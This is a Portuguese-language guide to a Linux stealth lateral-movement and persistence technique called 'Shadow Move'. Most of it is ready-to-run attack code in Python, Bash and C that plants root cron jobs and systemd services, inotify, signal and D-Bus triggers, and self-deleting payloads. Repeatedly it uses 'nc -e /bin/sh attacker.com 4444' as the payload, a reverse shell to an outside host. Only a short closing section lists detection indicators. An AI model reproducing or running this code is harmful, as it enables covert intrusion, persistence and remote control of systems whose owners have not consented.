# Shadow Move

## 📑 **Índice**

1. [Fundamentos do Shadow Move](#-fundamentos-do-shadow-move)
2. [Arquitetura e Mecanismos](#-arquitetura-e-mecanismos)
3. [Técnicas de Shadow Move](#-técnicas-de-shadow-move)
4. [Implementação em Bash](#-implementação-em-bash)
5. [Implementação em Python](#-implementação-em-python)
6. [Implementação em C](#-implementação-em-c)
7. [Detecção e Monitoramento](#-detecção-e-monitoramento)
8. [Mitigação e Prevenção](#-mitigação-e-prevenção)

***

## 🔍 **Fundamentos do Shadow Move**

### **O que é Shadow Move?**

**Shadow Move** é uma técnica avançada de movimentação lateral que permite a um atacante mover-se entre sistemas Linux sem criar processos remotos óbvios (como SSH, netcat ou reverse shells). A técnica explora mecanismos legítimos do sistema operacional, como cron jobs, systemd timers, inotify, e scripts de inicialização para estabelecer persistência e movimentação furtiva.

### **Origem do Conceito**

O termo "Shadow Move" refere-se à capacidade de se mover "nas sombras" do sistema, utilizando processos e serviços legítimos como vetores de movimentação, tornando a detecção extremamente difícil para soluções de segurança tradicionais.

### **Contexto Histórico**

```yaml
Evolução da Movimentação Lateral no Linux:
  1990s: Telnet/rsh, .rhosts
  2000s: SSH com chaves, reverse shells
  2010: Cron jobs, systemd services
  2015: Inotify-based triggers, udev rules
  2020: eBPF manipulation, cgroup exploits
  2024: Shadow Move - técnicas combinadas

Motivação:
  ❌ SSH gera logs de conexão
  ❌ Reverse shells são detectáveis por rede
  ❌ Cron jobs são monitorados por EDR
  ✅ Shadow Move usa mecanismos legítimos e silenciosos
```

### **Princípios do Shadow Move**

```yaml
Princípios Fundamentais:
  1. Sem conexões de rede explícitas
  2. Sem criação de novos processos óbvios
  3. Utilização de mecanismos legítimos do sistema
  4. Execução assíncrona e baseada em eventos
  5. Persistência em múltiplas camadas

Canais de Movimentação:
  - Arquivos compartilhados (/tmp, /dev/shm)
  - Signals (SIGUSR1, SIGUSR2)
  - D-Bus
  - Systemd socket activation
  - Inotify watches
  - Netlink sockets
```

***

## 🏗️ **Arquitetura e Mecanismos**

### **Fluxo de Shadow Move**

```mermaid
sequenceDiagram
    participant A as Atacante (Host A)
    participant S as Sistema Alvo
    participant P as Processo Legítimo
    participant M as Mecanismo (cron/inotify)

    Note over A: Fase 1: Implantação Inicial
    A->>S: 1. Obtém acesso inicial
    A->>S: 2. Implanta payload furtivo
    A->>M: 3. Configura trigger (cron, inotify)
    
    Note over S,P: Fase 2: Execução Silenciosa
    M->>P: 4. Trigger ativado
    P->>P: 5. Executa código malicioso
    P-->>A: 6. (Opcional) Comunicação via canal secundário
    
    Note over A,S: Fase 3: Movimentação
    A->>S: 7. Ativa trigger via ação legítima
    S->>P: 8. Payload executa
    P->>P: 9. Acessa próximo alvo
```

### **Comparação com Técnicas Tradicionais**

| Técnica             | Visibilidade | Logs    | Detecção | Persistência |
| ------------------- | ------------ | ------- | -------- | ------------ |
| **SSH**             | Alta         | Sim     | Fácil    | Média        |
| **Reverse Shell**   | Média        | Parcial | Média    | Baixa        |
| **Cron Job**        | Baixa        | Sim     | Média    | Alta         |
| **Systemd Service** | Baixa        | Sim     | Média    | Alta         |
| **Shadow Move**     | Muito Baixa  | Não     | Difícil  | Muito Alta   |

***

## ⚔️ **Técnicas de Shadow Move**

### **1. Movimentação via Arquivos Compartilhados**

```python
#!/usr/bin/env python3
# shadow_move_file.py

import os
import time
import signal
import sys

class FileBasedShadowMove:
    """
    Movimentação lateral via arquivos compartilhados
    Utiliza inotify para detectar arquivos de sinalização
    """
    
    def __init__(self, signal_file='/tmp/.shadow_signal', payload_file='/tmp/.shadow_payload'):
        self.signal_file = signal_file
        self.payload_file = payload_file
        self.running = True
    
    def create_payload(self, target_command):
        """Criar payload para execução"""
        payload = f"""#!/bin/bash
        # Shadow Move Payload
        {target_command}
        rm -f {self.signal_file}
        """
        
        with open(self.payload_file, 'w') as f:
            f.write(payload)
        os.chmod(self.payload_file, 0o755)
        print(f"[+] Payload criado em {self.payload_file}")
    
    def trigger_from_remote(self, trigger_method='touch'):
        """Acionar execução remotamente"""
        if trigger_method == 'touch':
            # Simples criação de arquivo
            with open(self.signal_file, 'w') as f:
                f.write(str(time.time()))
            print(f"[+] Trigger enviado via {self.signal_file}")
        
        elif trigger_method == 'signal':
            # Enviar sinal para processo específico
            pid = self.get_target_pid()
            if pid:
                os.kill(pid, signal.SIGUSR1)
                print(f"[+] Signal SIGUSR1 enviado para PID {pid}")
    
    def get_target_pid(self):
        """Obter PID do processo alvo"""
        import subprocess
        result = subprocess.run(['pgrep', '-f', 'shadow'], capture_output=True, text=True)
        if result.stdout:
            return int(result.stdout.strip())
        return None

# Exemplo de uso
shadow = FileBasedShadowMove()
shadow.create_payload('nc -e /bin/sh attacker.com 4444')
```

### **2. Movimentação via D-Bus**

```python
#!/usr/bin/env python3
# shadow_move_dbus.py

import dbus
import dbus.service
import dbus.mainloop.glib
import subprocess
import threading

class DbusShadowMove:
    """
    Movimentação lateral via D-Bus
    Utiliza sinais D-Bus para comunicação entre processos
    """
    
    BUS_NAME = 'com.shadow.move'
    OBJECT_PATH = '/com/shadow/move'
    INTERFACE = 'com.shadow.move.Interface'
    
    def __init__(self):
        dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
        self.bus = dbus.SystemBus()
        self.loop = None
    
    def create_service(self, command):
        """Criar serviço D-Bus que executa comando"""
        
        class ShadowService(dbus.service.Object):
            def __init__(self, bus, command):
                self.command = command
                dbus.service.Object.__init__(self, bus, DbusShadowMove.OBJECT_PATH)
            
            @dbus.service.method(DbusShadowMove.INTERFACE,
                                 in_signature='', out_signature='s')
            def Execute(self):
                result = subprocess.run(self.command, shell=True, 
                                       capture_output=True, text=True)
                return result.stdout
            
            @dbus.service.method(DbusShadowMove.INTERFACE,
                                 in_signature='s', out_signature='')
            def ExecuteAsync(self, cmd):
                subprocess.Popen(cmd, shell=True)
        
        try:
            # Solicitar nome no bus
            self.bus.request_name(self.BUS_NAME)
            service = ShadowService(self.bus, command)
            print(f"[+] Serviço D-Bus registrado: {self.BUS_NAME}")
            return service
        except Exception as e:
            print(f"[-] Erro: {e}")
            return None
    
    def trigger_execution(self, target_host=None):
        """Acionar execução via D-Bus"""
        try:
            bus = dbus.SystemBus()
            remote_object = bus.get_object(self.BUS_NAME, self.OBJECT_PATH)
            interface = dbus.Interface(remote_object, self.INTERFACE)
            
            # Executar comando
            result = interface.Execute()
            print(f"[+] Comando executado via D-Bus")
            return result
        except Exception as e:
            print(f"[-] Erro: {e}")
            return None
    
    def stealth_signal(self):
        """Usar sinal D-Bus para comunicação furtiva"""
        # Emitir sinal que será capturado por outro processo
        pass

# Exemplo
# shadow = DbusShadowMove()
# shadow.create_service('whoami > /tmp/shadow_out')
# shadow.trigger_execution()
```

### **3. Movimentação via Systemd Socket Activation**

```python
#!/usr/bin/env python3
# shadow_move_systemd.py

import socket
import os
import subprocess

class SystemdShadowMove:
    """
    Movimentação lateral via Systemd Socket Activation
    Utiliza sockets systemd para comunicação entre processos
    """
    
    def __init__(self, socket_name='shadow.socket', service_name='shadow.service'):
        self.socket_name = socket_name
        self.service_name = service_name
        self.socket_path = f'/run/systemd/transient/{socket_name}'
    
    def create_transient_service(self, command):
        """Criar serviço systemd transiente"""
        service_config = f"""
        [Unit]
        Description=Shadow Move Service
        
        [Service]
        Type=simple
        ExecStart=/bin/bash -c '{command}'
        User=root
        StandardInput=socket
        StandardOutput=journal
        
        [Install]
        WantedBy=multi-user.target
        """
        
        # Criar serviço temporário
        with open(f'/tmp/{self.service_name}', 'w') as f:
            f.write(service_config)
        
        # Carregar via systemd-run
        cmd = f'systemd-run --user --unit={self.service_name} /bin/bash -c "{command}"'
        subprocess.run(cmd, shell=True)
        print(f"[+] Serviço systemd criado: {self.service_name}")
    
    def create_socket_activation(self, port=9999):
        """Criar socket activation para comando"""
        # Socket activation permite execução sob demanda
        socket_config = f"""
        [Unit]
        Description=Shadow Socket
        
        [Socket]
        ListenStream={port}
        Accept=yes
        
        [Install]
        WantedBy=sockets.target
        """
        
        with open(f'/tmp/{self.socket_name}', 'w') as f:
            f.write(socket_config)
        
        print(f"[+] Socket activation configurado na porta {port}")
    
    def trigger_via_socket(self, host='localhost', port=9999):
        """Acionar execução via conexão socket"""
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((host, port))
            sock.send(b'TRIGGER')
            response = sock.recv(1024)
            sock.close()
            print(f"[+] Trigger enviado via socket {host}:{port}")
            return response
        except Exception as e:
            print(f"[-] Erro: {e}")
            return None

# Exemplo
# shadow = SystemdShadowMove()
# shadow.create_transient_service('nc -e /bin/sh attacker.com 4444')
```

### **4. Movimentação via Inotify**

```python
#!/usr/bin/env python3
# shadow_move_inotify.py

import inotify.adapters
import subprocess
import threading
import time
import os

class InotifyShadowMove:
    """
    Movimentação lateral via Inotify
    Monitora eventos de arquivo para acionar payloads
    """
    
    def __init__(self, watch_path='/tmp/.shadow'):
        self.watch_path = watch_path
        self.running = True
        self.notifier = None
    
    def setup_watch(self, command, mask=None):
        """Configurar monitoramento inotify"""
        if mask is None:
            mask = inotify.constants.IN_CREATE | inotify.constants.IN_MODIFY
        
        self.notifier = inotify.adapters.Inotify()
        self.notifier.add_watch(self.watch_path, mask)
        
        print(f"[+] Monitorando {self.watch_path} (mask: {mask})")
        
        def watch_loop():
            for event in self.notifier.event_gen(yield_nones=False):
                if not self.running:
                    break
                
                (_, type_names, path, filename) = event
                print(f"[!] Evento detectado: {type_names}")
                
                # Executar comando
                subprocess.Popen(command, shell=True)
                print(f"[+] Comando executado: {command}")
        
        thread = threading.Thread(target=watch_loop)
        thread.daemon = True
        thread.start()
        return thread
    
    def trigger(self, trigger_file='trigger'):
        """Acionar execução criando/modificando arquivo"""
        trigger_path = os.path.join(self.watch_path, trigger_file)
        
        with open(trigger_path, 'w') as f:
            f.write(str(time.time()))
        
        print(f"[+] Trigger ativado via {trigger_path}")
        return True
    
    def cleanup(self):
        """Limpar recursos"""
        self.running = False
        if self.notifier:
            self.notifier.remove_watch(self.watch_path)

# Exemplo
# shadow = InotifyShadowMove('/tmp/.shadow')
# shadow.setup_watch('nc -e /bin/sh attacker.com 4444')
# shadow.trigger()
```

### **5. Movimentação via Cron e Anacron**

```python
#!/usr/bin/env python3
# shadow_move_cron.py

import subprocess
import os
import tempfile

class CronShadowMove:
    """
    Movimentação lateral via Cron/Anacron
    Utiliza jobs agendados para execução silenciosa
    """
    
    def __init__(self):
        self.cron_paths = [
            '/etc/crontab',
            '/etc/cron.d/',
            '/var/spool/cron/crontabs/',
            '/etc/cron.hourly/',
            '/etc/cron.daily/',
            '/etc/cron.weekly/',
            '/etc/cron.monthly/'
        ]
    
    def create_user_cron(self, username, command, schedule='* * * * *'):
        """Criar cron job para usuário específico"""
        cron_line = f"{schedule} {command}\n"
        
        try:
            # Adicionar ao crontab do usuário
            cmd = f'(crontab -l 2>/dev/null; echo "{cron_line}") | crontab -u {username} -'
            subprocess.run(cmd, shell=True)
            print(f"[+] Cron job adicionado para {username}: {cron_line.strip()}")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    def create_system_cron(self, command, schedule='* * * * *', cron_file='shadow'):
        """Criar cron job em /etc/cron.d/"""
        cron_line = f"{schedule} root {command}\n"
        cron_path = f"/etc/cron.d/{cron_file}"
        
        try:
            with open(cron_path, 'w') as f:
                f.write(cron_line)
            os.chmod(cron_path, 0o644)
            print(f"[+] Cron job system criado: {cron_path}")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    def create_anacron_job(self, command, period=1, job_id='shadow'):
        """Criar job anacron (execução diária com atraso aleatório)"""
        anacron_line = f"{period} {job_id} {command}\n"
        anacron_path = '/etc/anacrontab'
        
        try:
            with open(anacron_path, 'a') as f:
                f.write(anacron_line)
            print(f"[+] Anacron job adicionado: {anacron_line.strip()}")
            return True
        except Exception as e:
            print(f"[-] Erro: {e}")
            return False
    
    def trigger_via_timer(self, wait_seconds=60):
        """Acionar execução após tempo determinado"""
        # Criar job one-shot
        cmd = f'sleep {wait_seconds} && command'
        return self.create_user_cron('root', cmd, f'* * * * *')

# Exemplo
# shadow = CronShadowMove()
# shadow.create_system_cron('nc -e /bin/sh attacker.com 4444', '*/5 * * * *', 'shadow')
```

### **6. Movimentação via eBPF**

```python
#!/usr/bin/env python3
# shadow_move_ebpf.py

import subprocess
import tempfile
import os

class EBPFShadowMove:
    """
    Movimentação lateral via eBPF (requer privilégios)
    Utiliza programas eBPF para execução baseada em eventos
    """
    
    def __init__(self):
        self.ebpf_program = None
    
    def create_ebpf_program(self, trigger_event, command):
        """Criar programa eBPF que executa comando em evento"""
        
        # Código eBPF em C (exemplo simplificado)
        ebpf_code = f"""
        #include <linux/bpf.h>
        #include <bpf/bpf_helpers.h>
        
        SEC("kprobe/{trigger_event}")
        int shadow_probe(struct pt_regs *ctx)
        {{
            char cmd[] = "{command}";
            bpf_trace_printk("Executing shadow command\\n");
            // Nota: execução direta requer helper específico
            return 0;
        }}
        
        char _license[] SEC("license") = "GPL";
        """
        
        # Salvar código
        with tempfile.NamedTemporaryFile(mode='w', suffix='.c', delete=False) as f:
            f.write(ebpf_code)
            self.ebpf_program = f.name
        
        print(f"[+] Programa eBPF criado: {self.ebpf_program}")
        
        # Compilar (requer clang e libbpf)
        # subprocess.run(f'clang -target bpf -O2 -c {self.ebpf_program} -o /tmp/ebpf.o', shell=True)
        # subprocess.run(f'bpftool prog load /tmp/ebpf.o /sys/fs/bpf/shadow', shell=True)
        
        return True
    
    def attach_to_event(self, event_name):
        """Anexar programa eBPF a evento do kernel"""
        print(f"[+] Programa eBPF anexado a {event_name}")
        return True
    
    def trigger_via_kprobe(self, function_name):
        """Acionar execução via kprobe"""
        # Qualquer chamada à função alvo acionará o programa
        print(f"[+] Trigger configurado em kprobe:{function_name}")
        return True

# Nota: Implementação completa requer privilégios root e ferramentas de BPF
```

***

## 🔧 **Implementação em Bash**

### **Script de Shadow Move em Bash**

```bash
#!/bin/bash
# shadow_move.sh - Técnicas de movimentação lateral em Bash

# Cores para output
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

# Função: Movimento via arquivo de sinalização
shadow_file_move() {
    local signal_file="/tmp/.shadow_$(date +%s)"
    local payload_file="/tmp/.shadow_payload"
    
    echo -e "${YELLOW}[*] Configurando Shadow Move via arquivo${NC}"
    
    # Payload a ser executado
    cat > "$payload_file" << 'EOF'
#!/bin/bash
# Payload executado quando trigger é ativado
echo "Shadow Move ativado em $(date)" >> /tmp/.shadow_log
# Comando malicioso aqui
nc -e /bin/sh attacker.com 4444
rm -f "$0"
EOF
    
    chmod +x "$payload_file"
    
    # Configurar inotifywait (se disponível)
    if command -v inotifywait &> /dev/null; then
        # Monitorar diretório para trigger
        inotifywait -m -e create /tmp |
        while read -r directory events filename; do
            if [[ "$filename" == ".shadow_trigger" ]]; then
                "$payload_file" &
            fi
        done &
        echo -e "${GREEN}[+] Monitoramento inotify configurado${NC}"
    else
        # Fallback: cron job
        echo "* * * * * root [ -f /tmp/.shadow_trigger ] && $payload_file && rm -f /tmp/.shadow_trigger" > /etc/cron.d/shadow
        echo -e "${GREEN}[+] Cron job configurado${NC}"
    fi
    
    echo -e "${GREEN}[+] Payload: $payload_file${NC}"
    echo -e "${YELLOW}[!] Para acionar: touch /tmp/.shadow_trigger${NC}"
}

# Função: Movimento via signal
shadow_signal_move() {
    local target_pid="$1"
    local payload="/tmp/.shadow_payload_$$"
    
    echo -e "${YELLOW}[*] Configurando Shadow Move via signal${NC}"
    
    # Script que escuta signals
    cat > "$payload" << 'EOF'
#!/bin/bash
trap 'echo "Executando payload..."' SIGUSR1
trap 'exit' SIGTERM

while true; do
    sleep 60
done
EOF
    
    chmod +x "$payload"
    "$payload" &
    local pid=$!
    
    echo -e "${GREEN}[+] Processo listener: PID $pid${NC}"
    echo -e "${YELLOW}[!] Para acionar: kill -SIGUSR1 $pid${NC}"
}

# Função: Movimento via D-Bus
shadow_dbus_move() {
    echo -e "${YELLOW}[*] Configurando Shadow Move via D-Bus${NC}"
    
    # Serviço D-Bus simples
    cat > /tmp/shadow_service.py << 'EOF'
#!/usr/bin/env python3
import dbus
import dbus.service
import dbus.mainloop.glib
import subprocess

BUS_NAME = 'com.shadow.move'
OBJECT_PATH = '/com/shadow/move'

class ShadowService(dbus.service.Object):
    @dbus.service.method(BUS_NAME, in_signature='', out_signature='s')
    def Execute(self):
        result = subprocess.run(['whoami'], capture_output=True, text=True)
        return result.stdout

dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
bus = dbus.SystemBus()
bus.request_name(BUS_NAME)
service = ShadowService(bus, OBJECT_PATH)

import glib
loop = glib.MainLoop()
loop.run()
EOF
    
    chmod +x /tmp/shadow_service.py
    /tmp/shadow_service.py &
    
    echo -e "${GREEN}[+] Serviço D-Bus configurado${NC}"
    echo -e "${YELLOW}[!] Para acionar: dbus-send --system --type=method_call --dest=com.shadow.move /com/shadow/move com.shadow.move.Execute${NC}"
}

# Função: Movimento via systemd
shadow_systemd_move() {
    local service_name="shadow_$(date +%s)"
    
    echo -e "${YELLOW}[*] Configurando Shadow Move via systemd${NC}"
    
    # Criar serviço systemd transiente
    cat > "/etc/systemd/system/${service_name}.service" << EOF
[Unit]
Description=Shadow Move Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do sleep 60; done'
Restart=always
User=root

[Install]
WantedBy=multi-user.target
EOF
    
    chmod 644 "/etc/systemd/system/${service_name}.service"
    systemctl daemon-reload
    systemctl enable "${service_name}.service"
    systemctl start "${service_name}.service"
    
    echo -e "${GREEN}[+] Serviço systemd criado: ${service_name}${NC}"
}

# Função: Movimento via at (one-shot)
shadow_at_move() {
    local trigger_time="$1"
    local command="$2"
    
    echo -e "${YELLOW}[*] Configurando Shadow Move via at${NC}"
    
    echo "$command" | at "$trigger_time" 2>/dev/null
    echo -e "${GREEN}[+] Job at agendado para $trigger_time${NC}"
}

# Função principal
main() {
    echo -e "${RED}=== Shadow Move Framework ===${NC}\n"
    
    echo "1. File-based Shadow Move (inotify/cron)"
    echo "2. Signal-based Shadow Move (SIGUSR1)"
    echo "3. D-Bus Shadow Move"
    echo "4. Systemd Shadow Move"
    echo "5. At (one-shot) Shadow Move"
    echo -n "Escolha: "
    
    read -r choice
    
    case $choice in
        1) shadow_file_move ;;
        2) shadow_signal_move ;;
        3) shadow_dbus_move ;;
        4) shadow_systemd_move ;;
        5) 
            echo -n "Tempo (ex: now+5 minutes): "
            read -r trigger_time
            echo -n "Comando: "
            read -r command
            shadow_at_move "$trigger_time" "$command"
            ;;
        *) echo "Opção inválida" ;;
    esac
}

# Executar
main "$@"
```

***

## 🐍 **Implementação em Python**

### **Framework Completo de Shadow Move**

```python
#!/usr/bin/env python3
# shadow_move_framework.py

import os
import sys
import time
import signal
import subprocess
import threading
import tempfile
import logging
from pathlib import Path

class ShadowMoveFramework:
    """Framework completo para Shadow Move"""
    
    def __init__(self, log_file='/tmp/.shadow_log'):
        self.log_file = log_file
        self.setup_logging()
        self.triggers = []
        self.payloads = []
    
    def setup_logging(self):
        logging.basicConfig(
            level=logging.INFO,
            format='%(asctime)s - %(levelname)s - %(message)s',
            handlers=[
                logging.FileHandler(self.log_file),
                logging.StreamHandler()
            ]
        )
        self.logger = logging.getLogger('ShadowMove')
    
    def create_payload(self, command, payload_type='script'):
        """Criar payload para execução"""
        
        if payload_type == 'script':
            fd, path = tempfile.mkstemp(suffix='.sh', prefix='.shadow_')
            with os.fdopen(fd, 'w') as f:
                f.write(f"""#!/bin/bash
# Shadow Move Payload
{command}
rm -f "$0"
""")
            os.chmod(path, 0o755)
            self.payloads.append(path)
            self.logger.info(f"Payload script criado: {path}")
            return path
        
        elif payload_type == 'python':
            fd, path = tempfile.mkstemp(suffix='.py', prefix='.shadow_')
            with os.fdopen(fd, 'w') as f:
                f.write(f"""#!/usr/bin/env python3
import subprocess
subprocess.run('{command}', shell=True)
import os
os.unlink(__file__)
""")
            os.chmod(path, 0o755)
            self.payloads.append(path)
            self.logger.info(f"Payload python criado: {path}")
            return path
        
        return None
    
    # === Técnicas de Shadow Move ===
    
    def file_based_move(self, watch_path='/tmp/.shadow', trigger_file='trigger'):
        """Movimento baseado em arquivo (inotify)"""
        import inotify.adapters
        
        if not os.path.exists(watch_path):
            os.makedirs(watch_path, exist_ok=True)
        
        self.logger.info(f"Configurando file-based shadow move em {watch_path}")
        
        notifier = inotify.adapters.Inotify()
        notifier.add_watch(watch_path, inotify.constants.IN_CREATE)
        
        def watch_loop():
            for event in notifier.event_gen(yield_nones=False):
                (_, type_names, path, filename) = event
                if filename == trigger_file:
                    self.logger.info(f"Trigger ativado via {watch_path}/{trigger_file}")
                    for payload in self.payloads:
                        subprocess.Popen(payload, shell=True)
        
        thread = threading.Thread(target=watch_loop)
        thread.daemon = True
        thread.start()
        self.triggers.append(thread)
        
        return {'type': 'file', 'watch_path': watch_path, 'trigger_file': trigger_file}
    
    def cron_based_move(self, schedule='* * * * *'):
        """Movimento baseado em cron"""
        cron_line = f"{schedule} root {self.payloads[0] if self.payloads else 'true'}\n"
        cron_path = '/etc/cron.d/shadow_move'
        
        try:
            with open(cron_path, 'w') as f:
                f.write(cron_line)
            os.chmod(cron_path, 0o644)
            self.logger.info(f"Cron job configurado: {cron_path}")
            return {'type': 'cron', 'path': cron_path, 'schedule': schedule}
        except Exception as e:
            self.logger.error(f"Erro ao configurar cron: {e}")
            return None
    
    def systemd_based_move(self, command=None):
        """Movimento baseado em systemd"""
        service_name = f"shadow_{int(time.time())}"
        service_path = f"/etc/systemd/system/{service_name}.service"
        
        cmd = command or (self.payloads[0] if self.payloads else 'sleep infinity')
        
        service_content = f"""[Unit]
Description=Shadow Move Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c '{cmd}'
Restart=always
User=root

[Install]
WantedBy=multi-user.target
"""
        
        try:
            with open(service_path, 'w') as f:
                f.write(service_content)
            os.chmod(service_path, 0o644)
            subprocess.run(['systemctl', 'daemon-reload'], capture_output=True)
            subprocess.run(['systemctl', 'enable', service_name], capture_output=True)
            subprocess.run(['systemctl', 'start', service_name], capture_output=True)
            self.logger.info(f"Serviço systemd criado: {service_name}")
            return {'type': 'systemd', 'name': service_name, 'path': service_path}
        except Exception as e:
            self.logger.error(f"Erro ao configurar systemd: {e}")
            return None
    
    def signal_based_move(self, target_pid=None):
        """Movimento baseado em signal"""
        
        def signal_listener():
            def handler(signum, frame):
                self.logger.info(f"Signal {signum} recebido - executando payloads")
                for payload in self.payloads:
                    subprocess.Popen(payload, shell=True)
            
            signal.signal(signal.SIGUSR1, handler)
            while True:
                time.sleep(60)
        
        thread = threading.Thread(target=signal_listener)
        thread.daemon = True
        thread.start()
        self.triggers.append(thread)
        
        self.logger.info("Signal listener configurado (SIGUSR1)")
        return {'type': 'signal', 'signal': 'SIGUSR1', 'pid': os.getpid()}
    
    def at_based_move(self, time_str):
        """Movimento baseado em at (one-shot)"""
        cmd = self.payloads[0] if self.payloads else 'true'
        
        try:
            proc = subprocess.run(f'echo "{cmd}" | at {time_str}', 
                                 shell=True, capture_output=True, text=True)
            self.logger.info(f"Job at agendado para {time_str}")
            return {'type': 'at', 'time': time_str, 'output': proc.stdout}
        except Exception as e:
            self.logger.error(f"Erro ao configurar at: {e}")
            return None
    
    def dbus_based_move(self):
        """Movimento baseado em D-Bus"""
        # Requer python-dbus
        try:
            import dbus
            import dbus.service
            import dbus.mainloop.glib
            
            BUS_NAME = 'com.shadow.move'
            OBJECT_PATH = '/com/shadow/move'
            
            class ShadowService(dbus.service.Object):
                @dbus.service.method(BUS_NAME, in_signature='', out_signature='s')
                def Execute(self):
                    self.logger.info("Comando executado via D-Bus")
                    for payload in self.payloads:
                        subprocess.Popen(payload, shell=True)
                    return "OK"
            
            dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
            bus = dbus.SystemBus()
            bus.request_name(BUS_NAME)
            service = ShadowService(bus, OBJECT_PATH)
            
            import glib
            loop = glib.MainLoop()
            thread = threading.Thread(target=loop.run)
            thread.daemon = True
            thread.start()
            
            self.logger.info(f"Serviço D-Bus registrado: {BUS_NAME}")
            return {'type': 'dbus', 'bus_name': BUS_NAME, 'object_path': OBJECT_PATH}
            
        except ImportError as e:
            self.logger.error(f"D-Bus não disponível: {e}")
            return None
    
    # === Métodos de Trigger ===
    
    def trigger_file(self, watch_path='/tmp/.shadow', trigger_file='trigger'):
        """Acionar via criação de arquivo"""
        trigger_path = os.path.join(watch_path, trigger_file)
        with open(trigger_path, 'w') as f:
            f.write(str(time.time()))
        self.logger.info(f"Trigger enviado via {trigger_path}")
    
    def trigger_signal(self, pid, signal_num=signal.SIGUSR1):
        """Acionar via signal"""
        os.kill(pid, signal_num)
        self.logger.info(f"Signal {signal_num} enviado para PID {pid}")
    
    def trigger_dbus(self):
        """Acionar via D-Bus"""
        try:
            import dbus
            bus = dbus.SystemBus()
            obj = bus.get_object('com.shadow.move', '/com/shadow/move')
            interface = dbus.Interface(obj, 'com.shadow.move')
            interface.Execute()
            self.logger.info("Trigger enviado via D-Bus")
        except Exception as e:
            self.logger.error(f"Erro no trigger D-Bus: {e}")
    
    # === Limpeza ===
    
    def cleanup(self):
        """Limpar todos os artefatos"""
        for payload in self.payloads:
            try:
                os.unlink(payload)
                self.logger.info(f"Payload removido: {payload}")
            except:
                pass
        
        # Remover cron job
        try:
            os.unlink('/etc/cron.d/shadow_move')
        except:
            pass
        
        self.logger.info("Limpeza concluída")
    
    def run(self, technique='file', **kwargs):
        """Executar Shadow Move com técnica específica"""
        self.logger.info(f"Iniciando Shadow Move com técnica: {technique}")
        
        techniques = {
            'file': self.file_based_move,
            'cron': self.cron_based_move,
            'systemd': self.systemd_based_move,
            'signal': self.signal_based_move,
            'at': self.at_based_move,
            'dbus': self.dbus_based_move
        }
        
        if technique in techniques:
            return techniques[technique](**kwargs)
        else:
            self.logger.error(f"Técnica desconhecida: {technique}")
            return None

# Exemplo de uso
if __name__ == "__main__":
    shadow = ShadowMoveFramework()
    
    # Criar payload
    shadow.create_payload('nc -e /bin/sh attacker.com 4444', 'script')
    
    # Configurar técnica
    shadow.run('file', watch_path='/tmp/.shadow')
    
    print("\n[!] Shadow Move configurado!")
    print("[!] Para acionar: touch /tmp/.shadow/trigger")
    
    # Manter execução
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        shadow.cleanup()
```

***

## 🔧 **Implementação em C**

### **Shadow Move em C (Low-level)**

```c
// shadow_move.c - Implementação de baixo nível
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <sys/inotify.h>
#include <sys/stat.h>
#include <fcntl.h>

#define EVENT_SIZE  (sizeof(struct inotify_event))
#define BUF_LEN     (1024 * (EVENT_SIZE + 16))

// Handler para signals
void signal_handler(int sig) {
    printf("[!] Signal %d recebido - executando payload\n", sig);
    system("/bin/sh -c 'nc -e /bin/sh attacker.com 4444 &'");
}

// Configurar listener de signals
void setup_signal_listener() {
    signal(SIGUSR1, signal_handler);
    printf("[+] Signal listener configurado (SIGUSR1)\n");
}

// Configurar monitoramento inotify
void setup_inotify_watch(const char *path) {
    int fd, wd;
    char buffer[BUF_LEN];
    
    fd = inotify_init();
    if (fd < 0) {
        perror("inotify_init");
        return;
    }
    
    wd = inotify_add_watch(fd, path, IN_CREATE | IN_MODIFY);
    if (wd < 0) {
        perror("inotify_add_watch");
        close(fd);
        return;
    }
    
    printf("[+] Monitorando %s\n", path);
    
    // Fork para monitoramento em background
    if (fork() == 0) {
        while (1) {
            int length = read(fd, buffer, BUF_LEN);
            if (length < 0) break;
            
            int i = 0;
            while (i < length) {
                struct inotify_event *event = (struct inotify_event *)&buffer[i];
                if (event->mask & IN_CREATE) {
                    printf("[!] Arquivo criado: %s\n", event->name);
                    system("/bin/sh -c 'nc -e /bin/sh attacker.com 4444 &'");
                }
                i += EVENT_SIZE + event->len;
            }
        }
        exit(0);
    }
    
    close(fd);
}

// Criar payload no disco
void create_payload(const char *path, const char *command) {
    FILE *f = fopen(path, "w");
    if (!f) return;
    
    fprintf(f, "#!/bin/bash\n%s\nrm -f \"$0\"\n", command);
    fclose(f);
    chmod(path, 0755);
    printf("[+] Payload criado: %s\n", path);
}

// Função principal
int main(int argc, char **argv) {
    printf("=== Shadow Move C Implementation ===\n");
    
    // Criar payload
    create_payload("/tmp/.shadow_payload", "nc -e /bin/sh attacker.com 4444");
    
    // Configurar técnicas
    setup_signal_listener();
    setup_inotify_watch("/tmp/.shadow");
    
    printf("\n[!] Shadow Move ativo\n");
    printf("[!] Para acionar via signal: kill -USR1 %d\n", getpid());
    printf("[!] Para acionar via file: touch /tmp/.shadow/trigger\n");
    
    // Manter execução
    while (1) {
        sleep(60);
    }
    
    return 0;
}
```

### **Compilação e Execução**

```bash
# Compilar
gcc -o shadow_move shadow_move.c

# Executar (requer root para inotify em alguns diretórios)
sudo ./shadow_move
```

***

## 🔍 **Detecção e Monitoramento**

### **Indicadores de Comprometimento (IOCs)**

```yaml
Indicadores de Shadow Move:

  Arquivos:
    - Arquivos temporários com prefixos suspeitos (.shadow_*, .tmp_*)
    - Scripts em /tmp com execução imediata
    - Arquivos de sinalização em diretórios compartilhados
  
  Processos:
    - Processos com nomes genéricos (bash, python) sem terminal
    - Processos filhos de inotifywait ou systemd
    - Threads em estado de espera com sinais configurados
  
  Sistema:
    - Cron jobs não documentados
    - Serviços systemd transientes
    - Regras inotify ativas em diretórios compartilhados
  
  Rede:
    - Conexões de rede de processos legítimos (ex: nc de bash)
    - Tráfego em portas não padrão
    - Conexões com TTL anormal
```

